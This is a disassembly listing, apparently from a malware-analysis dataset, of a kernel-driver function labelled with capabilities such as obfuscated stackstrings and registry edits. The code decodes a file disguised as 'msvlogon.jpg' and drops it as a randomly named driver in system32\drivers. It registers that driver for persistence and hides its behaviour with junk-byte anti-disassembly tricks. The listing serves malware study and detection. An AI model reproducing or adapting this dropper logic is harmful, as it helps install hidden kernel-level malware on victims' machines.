Function at 0x10918
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete registry value
Get file attributes
Read file on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push edi
mov byte [ebp - 0x255], 0
mov ecx, 0x45
xor eax, eax
lea edi, [ebp - 0x7e8]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x7e8], 0x114
lea eax, [ebp - 0x7e8]
push eax
pushfd
sub eax, 0x12653f56
push eax
xor eax, eax
je 0x10958
jg 0x10977
jb 0x1096a
pop eax
popfd
pop eax
push eax
call sub.ntoskrnl.exe_RtlGetVersion
test eax, eax
jl 0x1099c
cmp dword [ebp - 0x7e4], 5
jne 0x10989
inc dword [0xbd831b75]
and al, bh
invalid
cmp dword [ebp - 0x7e0], 1
jne 0x10989
cmp dword [ebp - 0x7d8], 2
jne 0x10989
mov byte [ebp - 0x86d], 1
jmp 0x10990
mov byte [ebp - 0x86d], 0
mov cl, byte [ebp - 0x86d]
mov byte [ebp - 0x255], cl
movzx edx, byte [ebp - 0x255]
test edx, edx
jne 0x109b1
mov eax, 1
jmp 0x11323
mov word [ebp - 0x480], 0x5c
mov word [ebp - 0x47e], 0x3f
mov word [ebp - 0x47c], 0x3f
mov word [ebp - 0x47a], 0x5c
mov word [ebp - 0x478], 0
lea eax, [ebp - 0x698]
mov dword [ebp - 0x250], eax
mov word [ebp - 0x254], 0
mov word [ebp - 0x252], 0x200
lea ecx, [ebp - 0x480]
push ecx
lea edx, [ebp - 0x254]
push edx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
mov eax, 0x30
add eax, 0xffdf0000
push eax
lea ecx, [ebp - 0x254]
push ecx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea edx, [ebp - 0x240]
mov dword [ebp - 0x248], edx
mov word [ebp - 0x24c], 0
mov word [ebp - 0x24a], 0x200
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x24c]
push ecx
call sub.ntoskrnl.exe_RtlCopyUnicodeString
mov word [ebp - 0x474], 0x5c
mov word [ebp - 0x472], 0x6d
mov word [ebp - 0x470], 0x73
mov word [ebp - 0x46e], 0x76
mov word [ebp - 0x46c], 0x6c
push eax
pushfd
sub eax, 0x58a84df3
push eax
xor eax, eax
je 0x10a94
retf
pop eax
popfd
pop eax
mov word [ebp - 0x46a], 0x6f
mov word [ebp - 0x468], 0x67
mov word [ebp - 0x466], 0x6f
mov word [ebp - 0x464], 0x6e
mov word [ebp - 0x462], 0x2e
mov word [ebp - 0x460], 0x6a
mov word [ebp - 0x45e], 0x70
mov word [ebp - 0x45c], 0x67
mov word [ebp - 0x45a], 0
lea edx, [ebp - 0x474]
push edx
lea eax, [ebp - 0x24c]
push eax
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x3c], 0
mov word [ebp - 0x3a], 0x200
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x3c]
push eax
call sub.ntoskrnl.exe_RtlCopyUnicodeString
mov word [ebp - 0x28], 0x5c
mov word [ebp - 0x26], 0x73
mov word [ebp - 0x24], 0x79
mov word [ebp - 0x22], 0x73
mov word [ebp - 0x20], 0x74
push eax
pushfd
sub eax, 0x62f434b6
push eax
xor eax, eax
je 0x10b4e
dec ecx
inc eax
lodsb al, byte [esi]
pop ecx
pop eax
popfd
pop eax
mov word [ebp - 0x1e], 0x65
mov word [ebp - 0x1c], 0x6d
mov word [ebp - 0x1a], 0x33
mov word [ebp - 0x18], 0x32
mov word [ebp - 0x16], 0x5c
mov word [ebp - 0x14], 0x64
mov word [ebp - 0x12], 0x72
mov word [ebp - 0x10], 0x69
push eax
pushfd
sub eax, 0x5f674edb
push eax
xor eax, eax
je 0x10b91
das
xor al, 4
or dword [eax - 0x63], ebx
pop eax
popfd
pop eax
mov word [ebp - 0xe], 0x76
mov word [ebp - 0xc], 0x65
mov word [ebp - 0xa], 0x72
mov word [ebp - 8], 0x73
mov word [ebp - 6], 0x5c
mov word [ebp - 4], 0
mov word [ebp - 0x34], 0x2e
mov word [ebp - 0x32], 0x73
mov word [ebp - 0x30], 0x79
push eax
pushfd
sub eax, 0xc28047b
push eax
xor eax, eax
je 0x10bda
xchg dword [edx - 0x46], ecx
xor al, 0x58
pop eax
popfd
pop eax
mov word [ebp - 0x2e], 0x73
mov word [ebp - 0x2c], 0
xor ecx, ecx
mov edx, dword [ecx - 0x210000]
mov dword [ebp - 0x494], edx
mov dword [ebp - 0x804], 0
jmp 0x10c12
mov eax, dword [ebp - 0x804]
add eax, 1
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 8
jge 0x10c52
lea ecx, [ebp - 0x494]
push ecx
call sub.ntoskrnl.exe_RtlRandom
mov dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x808]
xor edx, edx
mov ecx, 0x1a
div ecx
movzx edx, dx
add edx, 0x61
mov eax, dword [ebp - 0x804]
mov word [ebp + eax*2 - 0x7fc], dx
jmp 0x10c03
mov word [ebp - 0x7ec], 0
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x3c]
push edx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea eax, [ebp - 0x7fc]
push eax
lea ecx, [ebp - 0x3c]
push ecx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x3c]
push eax
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x6cc], 0x18
mov dword [ebp - 0x6c8], 0
mov dword [ebp - 0x6c0], 0x240
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0
push 0
push 0
push 0x20
push 1
push 7
push 0x80
push 0
lea edx, [ebp - 0x6b0]
push edx
lea eax, [ebp - 0x6cc]
push eax
push 0x80100000
lea ecx, [ebp - 0x498]
push ecx
call sub.ntoskrnl.exe_ZwCreateFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x10e1e
push 5
push 0x18
lea edx, [ebp - 0x820]
push edx
lea eax, [ebp - 0x6b0]
push eax
mov ecx, dword [ebp - 0x498]
push eax
pushfd
sub eax, 0x7eee0403
push eax
xor eax, eax
je 0x10d4c
cmp eax, 0x5842db3d
pop eax
popfd
pop eax
push ecx
call sub.ntoskrnl.exe_ZwQueryInformationFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x10e12
cmp dword [ebp - 0x818], 0
je 0x10e12
mov edx, dword [ebp - 0x818]
mov dword [ebp - 0x800], edx
push 0x20736649
mov eax, dword [ebp - 0x800]
push eax
push 0
call sub.ntoskrnl.exe_ExAllocatePoolWithTag
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x10e12
push 0
push 0
mov ecx, dword [ebp - 0x800]
push ecx
mov edx, dword [ebp - 0x244]
push edx
lea eax, [ebp - 0x6b0]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x498]
push eax
pushfd
sub eax, 0x5c22fe4
push eax
xor eax, eax
je 0x10dd8
ja 0x10dfa
pop edi
pop ax
pop eax
popfd
pop eax
push ecx
call sub.ntoskrnl.exe_ZwReadFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jge 0x10e12
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x800], 0
push 0
mov edx, dword [ebp - 0x244]
push edx
call sub.ntoskrnl.exe_ExFreePoolWithTag
mov eax, dword [ebp - 0x498]
push eax
call sub.ntoskrnl.exe_ZwClose
cmp dword [ebp - 0x800], 0
je 0x10e30
cmp dword [ebp - 0x244], 0
jne 0x10e3a
mov eax, 2
jmp 0x11323
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x824], ecx
mov edx, dword [ebp - 0x800]
sub edx, 4
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x244]
add eax, dword [ebp - 0x800]
mov ecx, dword [eax - 4]
mov dword [ebp - 0x82c], ecx
mov eax, dword [ebp - 0x830]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x838], eax
mov edx, dword [ebp - 0x830]
and edx, 0x80000003
jns 0x10e92
dec edx
or edx, 0xfffffffc
inc edx
mov dword [ebp - 0x828], edx
mov eax, dword [ebp - 0x82c]
xor edx, edx
mov ecx, 0xff
div ecx
mov byte [ebp - 0x839], dl
mov edx, dword [ebp - 0x824]
mov dword [ebp - 0x834], edx
mov dword [ebp - 0x844], 0
jmp 0x10ed4
mov eax, dword [ebp - 0x844]
add eax, 1
mov dword [ebp - 0x844], eax
mov ecx, dword [ebp - 0x844]
cmp ecx, dword [ebp - 0x838]
jge 0x10f1c
mov edx, dword [ebp - 0x834]
mov eax, dword [edx]
sub eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x834]
push eax
pushfd
sub eax, 0x505148c
push eax
xor eax, eax
je 0x10f06
and al, 0x3c
push ecx
or eax, 0x89589d58
add dword [ebx - 0x8336b], ecx
inc dword [ebx - 0x6a76fb3e]
int3
pop eax
popfd
pop eax
mov dword [ecx], eax
mov edx, dword [ebp - 0x834]
add edx, 4
mov dword [ebp - 0x834], edx
jmp 0x10ec5
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x844], 0
jmp 0x10f43
mov ecx, dword [ebp - 0x844]
add ecx, 1
mov dword [ebp - 0x844], ecx
mov edx, dword [ebp - 0x844]
cmp edx, dword [ebp - 0x828]
jge 0x10f7c
movzx eax, byte [ebp - 0x839]
mov ecx, dword [ebp - 0x840]
movzx edx, byte [ecx]
sub edx, eax
mov eax, dword [ebp - 0x840]
mov byte [eax], dl
mov ecx, dword [ebp - 0x840]
add ecx, 1
mov dword [ebp - 0x840], ecx
jmp 0x10f34
mov dword [ebp - 0x6cc], 0x18
mov dword [ebp - 0x6c8], 0
mov dword [ebp - 0x6c0], 0x240
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x6c4], edx
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0
push 0
push 0
push 0x20
push eax
pushfd
sub eax, 0x76b47a96
push eax
xor eax, eax
je 0x10fcd
fsub dword [edi]
xor byte [edx + 0x58], bh
pop eax
popfd
pop eax
push 5
push 7
push 0x80
push 0
lea eax, [ebp - 0x6b0]
push eax
lea ecx, [ebp - 0x6cc]
push ecx
push 0x10100000
lea edx, [ebp - 0x498]
push edx
call sub.ntoskrnl.exe_ZwCreateFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x1105c
push 0
push 0
mov eax, dword [ebp - 0x800]
sub eax, 4
push eax
push eax
pushfd
sub eax, 0x6eeb693d
push eax
xor eax, eax
je 0x11027
xlatb
sub byte [esp + ecx - 0x74a762a8], dl
lea edi, [ebp + edi*8 - 0x72ae0001]
xchg ebp, eax
push eax
stc
invalid
pop eax
popfd
pop eax
mov ecx, dword [ebp - 0x244]
push ecx
lea edx, [ebp - 0x6b0]
push edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x498]
push eax
call sub.ntoskrnl.exe_ZwWriteFile
mov dword [ebp - 0x6b4], eax
mov ecx, dword [ebp - 0x498]
push ecx
call sub.ntoskrnl.exe_ZwClose
push 0
mov edx, dword [ebp - 0x244]
push edx
call sub.ntoskrnl.exe_ExFreePoolWithTag
cmp dword [ebp - 0x6b4], 0
jge 0x1107d
mov eax, 3
jmp 0x11323
lea eax, [ebp - 0x7fc]
push eax
push 1
call sub.ntoskrnl.exe_RtlCreateRegistryKey
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x11205
mov dword [ebp - 0x864], 0
mov dword [ebp - 0x854], 2
mov word [ebp - 0x850], 0x53
mov word [ebp - 0x84e], 0x74
push eax
pushfd
sub eax, 0x49a82d17
push eax
xor eax, eax
je 0x110d4
jo 0x1114c
adc al, 0x7d
pop eax
popfd
pop eax
mov word [ebp - 0x84c], 0x61
mov word [ebp - 0x84a], 0x72
mov word [ebp - 0x848], 0x74
mov word [ebp - 0x846], 0
mov word [ebp - 0x860], 0x54
mov word [ebp - 0x85e], 0x79
push eax
pushfd
sub eax, 0x65d23700
push eax
xor eax, eax
je 0x1111d
mov word [eax + 0x68], cs
adc byte [eax - 0x63], bl
pop eax
popfd
pop eax
mov word [ebp - 0x85c], 0x70
mov word [ebp - 0x85a], 0x65
mov word [ebp - 0x858], 0
push 4
lea ecx, [ebp - 0x864]
push ecx
push 4
lea edx, [ebp - 0x850]
push edx
lea eax, [ebp - 0x7fc]
push eax
push 1
call sub.ntoskrnl.exe_RtlWriteRegistryValue
mov dword [ebp - 0x86c], eax
push 4
lea ecx, [ebp - 0x854]
push ecx
push 4
lea edx, [ebp - 0x860]
push edx
lea eax, [ebp - 0x7fc]
push eax
push eax
pushfd
sub eax, 0x117a6753
push eax
xor eax, eax
je 0x1118a
xchg byte [ebx + ecx*8 + 5], dh
pop eax
popfd
pop eax
push 1
call sub.ntoskrnl.exe_RtlWriteRegistryValue
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x86c], 0
jl 0x111ac
cmp dword [ebp - 0x868], 0
jge 0x11205
cmp dword [ebp - 0x86c], 0
jl 0x111c3
mov ecx, dword [ebp - 0x868]
mov dword [ebp - 0x874], ecx
jmp 0x111cf
mov edx, dword [ebp - 0x86c]
mov dword [ebp - 0x874], edx
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x6b4], eax
lea ecx, [ebp - 0x850]
push ecx
lea edx, [ebp - 0x7fc]
push edx
push 1
call sub.ntoskrnl.exe_RtlDeleteRegistryValue
lea eax, [ebp - 0x860]
push eax
lea ecx, [ebp - 0x7fc]
push ecx
push 1
call sub.ntoskrnl.exe_RtlDeleteRegistryValue
cmp dword [ebp - 0x6b4], 0
jge 0x11218
mov eax, 4
jmp 0x11323
mov word [ebp - 0x6a8], 0x42
mov word [ebp - 0x6a6], 0x72
mov word [ebp - 0x6a4], 0x6f
mov word [ebp - 0x6a2], 0x77
push eax
pushfd
sub eax, 0xb601961
push eax
xor eax, eax
je 0x1124c
cmp eax, 0x5844a31c
pop eax
popfd
pop eax
mov word [ebp - 0x6a0], 0x73
mov word [ebp - 0x69e], 0x65
mov word [ebp - 0x69c], 0x72
mov word [ebp - 0x69a], 0
mov word [ebp - 0x490], 0x73
mov word [ebp - 0x48e], 0x79
mov word [ebp - 0x48c], 0x73
push eax
pushfd
sub eax, 0x3db9031b
push eax
xor eax, eax
je 0x1129e
push 0x580d6417
pop eax
popfd
pop eax
mov word [ebp - 0x48a], 0x70
mov word [ebp - 0x488], 0x6e
mov word [ebp - 0x486], 0x6f
mov word [ebp - 0x484], 0
push 0x12
lea edx, [ebp - 0x7fc]
push edx
push 2
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x6a8]
push ecx
push 1
push eax
pushfd
sub eax, 0x162f3d12
push eax
xor eax, eax
je 0x112f0
sub bl, byte [edi - 0x4e]
xor dword [eax - 0x63], ebx
pop eax
popfd
pop eax
call sub.ntoskrnl.exe_RtlWriteRegistryValue
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jge 0x11321
mov eax, 5
push eax
pushfd
sub eax, 0x1f2a06a2
push eax
xor eax, eax
je 0x1131c
out 0x13, eax
invalid
pop eax
popfd
pop eax
jmp 0x11323
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret